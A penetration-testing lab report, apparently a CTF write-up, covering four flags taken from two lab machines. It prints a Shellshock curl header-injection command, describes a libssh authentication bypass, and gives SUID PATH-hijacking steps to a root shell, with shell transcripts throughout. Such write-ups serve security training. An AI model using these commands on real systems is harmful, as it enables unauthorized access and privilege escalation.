Host & Network Penetration Testing: System-Host Based Attacks CTF 2

Penetration Testing Report

This report documents the exploitation process performed during the lab "Host & Network Penetration Testing: System-Host Based Attacks CTF 2". The objective was to identify vulnerabilities in the target systems and retrieve four flags by exploiting misconfigurations and known vulnerabilities.

Scope

The assessment targeted two vulnerable machines: target1 and target2. The engagement focused on host-based attacks including web exploitation, authentication bypass, and privilege escalation.

Recovered Flags

Flag	Value
Flag 1	FLAG1_663896f8b85249a2975bbb04301e4564
Flag 2	FLAG2_e210f3af6be74be3b7cb5c0d95f638f9
Flag 3	FLAG3_134434c6d5f3499ca5c7a2f177e179c2
Flag 4	FLAG4_39180fa81f604691b7bc59cb3a037c6e

1. Initial Access – Shellshock Exploitation

The first target exposed a CGI script (browser.cgi) running on Apache. The application was vulnerable to the Shellshock vulnerability (CVE■2014■6271). This vulnerability allows attackers to execute arbitrary commands through crafted HTTP headers.

Exploit Command:

```
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'id'"
http://target/browser.cgi
```

The vulnerability resulted in remote command execution as the daemon user.

```
File  Actions  Edit  View  Help
bash: no job control in this shell
daemon@target1:/opt/apache/htdocs$ ls
ls
browser.cgi
index.html
static
daemon@target1:/opt/apache/htdocs$ cd /
cd /
daemon@target1:/$ ls
ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start-apache2.sh
startup.sh
sys
tmp
usr
var
daemon@target1:/$ cat flag.txt
cat flag.txt
FLAG1_663896f8b85249a2975bbb04301e4564
daemon@target1:/$
```

2. Hidden File Discovery

While exploring the Apache web root directory (/opt/apache/htdocs), a hidden file containing the second flag was discovered using directory enumeration.

Enumeration Command:

`ls -la`

```
exit 0
daemon@target1:/opt/apache/htdocs$ cat browser.cgi | grep flag
cat browser.cgi | grep flag
daemon@target1:/opt/apache/htdocs$

daemon@target1:/opt/apache/htdocs$ ls -la
ls -la
total 32
drwxr-xr-x 1 root root 4096 Mar 13 23:20 .
drwxr-xr-x 1 root root 4096 Dec 28  2021 ..
-rw-r--r-- 1 root root   39 Mar 13 23:20 .flag.txt
-rwxr-xr-x 1 root root 6364 Dec 28  2021 browser.cgi
-rw-r--r-- 1 root root  517 Dec 28  2021 index.html
drwxr-xr-x 5 root root 4096 Dec 27  2021 static
daemon@target1:/opt/apache/htdocs$ cat .flag.txt
cat .flag.txt
FLAG2_e210f3af6be74be3b7cb5c0d95f638f9
daemon@target1:/opt/apache/htdocs$
```

3. SSH Authentication Bypass (libssh)

The second machine exposed SSH running libssh which is vulnerable to CVE■2018■10933 authentication bypass. This vulnerability allows attackers to authenticate without credentials.

After gaining access, the user home directory was inspected and the third flag was located.

```
cd /
sh-5.2$ ls
ls
bin   dev  home  lib64  opt   root  sbin  sys  usr
boot  etc  lib   mnt    proc  run   srv   tmp  var
sh-5.2$ cd home
cd home
sh-5.2$ ls
ls
temp  user
sh-5.2$ cs user
cs user
sh: cs: command not found
sh-5.2$ ls
ls
temp  user
sh-5.2$ cd user
cd user
sh-5.2$ ls
ls
flag.txt  greetings  welcome
sh-5.2$ cat flag.txt
cat flag.txt
FLAG3_134434c6d5f3499ca5c7a2f177e179c2
```

4. Privilege Escalation – SUID PATH Hijacking

A SUID binary named 'welcome' was discovered in /home/user. The binary executed a command called 'greetings' using the system() function. Because the binary did not use an absolute path, PATH hijacking was possible.

Exploit Steps:

```
echo '#!/bin/bash /bin/bash' > /tmp/greetings

chmod +x /tmp/greetings

export PATH=/tmp:$PATH

/home/user/welcome
```

This resulted in a root shell which allowed access to /root and retrieval of the final flag.

```
cd /tmp
sh-5.2$ ^[[200~echo '#!/bin/bash
/bin/bash' > greetings^[[201~
echo '#!echo '#!/bin/bash
/bin/bash' > greetings
sh-5.2$ ^[[200~chmod +x greetings^[[201~
chmod +xchmod +x greetings
sh-5.2$ ^[[200~export PATH=/tmp:$PATH^[[201~
export Pexport PATH=/tmp:$PATH
sh-5.2$ ^[[200~/home/user/welcome^[[201~
/home/us/home/user/welcome
[root@target2 tmp]# whoami
whoami
root
[root@target2 tmp]# ls
ls
greetings  ready
[root@target2 tmp]# cd /
cd /
[root@target2 /]# ls
ls
bin   dev  home  lib64  opt   root  sbin  sys  usr
boot  etc  lib   mnt    proc  run   srv   tmp  var
[root@target2 /]# cd root
cd root
[root@target2 root]# l
l
bash: l: command not found
[root@target2 root]# ls
ls
flag.txt
[root@target2 root]# cat flag.txt
cat flag.txt
FLAG4_39180fa81f604691b7bc59cb3a037c6e
[root@target2 root]#
```

Conclusion

This lab demonstrated multiple attack techniques including web exploitation, authentication bypass, and privilege escalation. The exercise highlighted the importance of proper patch management, secure coding practices, and restricting execution permissions to prevent attackers from escalating privileges.